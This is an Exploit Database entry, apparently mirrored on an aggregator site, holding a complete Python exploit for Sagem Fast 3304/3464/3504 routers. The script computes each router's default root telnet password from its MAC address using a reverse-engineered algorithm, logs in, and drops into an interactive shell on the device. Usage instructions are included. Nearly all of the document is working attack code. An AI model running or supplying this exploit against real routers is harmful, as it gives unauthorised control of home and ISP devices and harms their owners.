Sagem Router Fast 3304/3464/3504 – Telnet Authentication Bypass

Exploit Database
119 阅读

作者： Elouafiq Ali

日期： 2011-08-16
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/17670/

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#!/home/bin/python

# Remote Exploit: SAGEM ROUTER FAST 3304/3464/3504 - Telnet Authentication bypass

# Date: 15-August-2011

# Author: Elouafiq Ali

# Version: 3304-V1 / 3304-V2 / 3464 / 3504

# Tested on: Linux Ubuntu 11.04, Linux Backtrack 5

# Tested Router: SAGEM FAST 3304-V2

# Tested on Resellers/ISPs: Wanadoo (France), Maroc Telecom (Morocco)

# Products affected: Sagem Fast 3304-V1 / 3304-V2 / 3464 / 3504

# Blog: http://keelhaule.tumblr.com

"""

Sagem Fast Routers (3304-V1 / 3304-V2 / 3464 / 3504) Come with a default Preconfigured Root Password

That the ISPs don't change it, but instead they create another admin account above it,

the root password differs from a router to another, since it is computed from its MAC address.

Thus, each unique router has its own password what makes bruteforce or dictionary attacks inefficient or impossible

After reverse engineering the Algorithm that computes the default password based on the MAC address

This exploit opens a remote shell in the remote host.

(Generally its an Almquist Shell 'ash', which commands are compatible to the Bourne Shell 'bsh')

Usage: ./{file_name} ip_adress mac_address

"""

from telnetlib import Telnet

import time, sys, tty, termios

from threading import *

host = ''

port = 23

user = "root"

password=""

class ReaderThread(Thread):

def __init__(self, telnet):

self.telnet = telnet

Thread.__init__(self)

def run(self):

while 1:

str = self.telnet.read_some()

if str == '': break

sys.stdout.write(str)

sys.stdout.flush()

def mash(a,b):

first=min(a,b)

second=max(a,b)

if( int(second ,16 ) < 10) :

if(int(first,16)+int(second,16)<=9):

return chr(ord(first)+int(second,16))

else:

return hex(ord(first)+int(second,16))

else:

return chr(ord(second)+int(first,16))

def main(host, port):

telnet = Telnet()

telnet.open(host, port)

#Usually Telnet prompt starts with this, if the telnet service provide another

#prompt, change it to that prompt

telnet.read_until("login: ")

telnet.write(user + "\n")

#the note above also applies for this

telnet.read_until("Password: ")

telnet.write(password + "\n")

#just omit this line if you want to just have the telnet command prompt,

#or change it to what feel confortable with

telnet.write("shell\n")

reader = ReaderThread(telnet)

reader.start()

fd = sys.stdin.fileno()

old_settings = termios.tcgetattr(fd)

tty.setraw(fd)

while 1:

if not reader.isAlive(): break

ch = sys.stdin.read(1)

telnet.write(ch)

telnet.close()

termios.tcsetattr(fd, 1, old_settings)

if __name__ == '__main__':

try:

host = sys.argv[1]

except: pass

mac_address=sys.argv[2]

lenght=len(mac_address)

#some arbitrary value

password=[ c for c in "00000000" ]

if lenght!=12 :

# Input Sanitization and Normalization

if lenght==17:

if mac_address[2]==':' :

mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower()

elif mac_address[2]=='-' :

mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower()

else:

print'[!] Please enter a valid MAC address!'

exit()

else:

print"[!] Please enter a valid MAC address!"

exit()

mac=[ c.lower() for c in mac_address]

password[0]= mash(mac[5],mac[11])

password[1]= mash(mac[0],mac[2])

password[2]= mash(mac[10],mac[11])

password[3]= mash(mac[0],mac[9])

password[4]= mash(mac[10],mac[6])

password[5]= mash(mac[3],mac[9])

password[6]= mash(mac[1],mac[6])

password[7]= mash(mac[3],mac[4])

password="".join(p for p in password)

print "[+] W00t The Passwd is ", password

main(host, port)

# Exploit written by Ali Elouafiq , Exploit-DB , 2011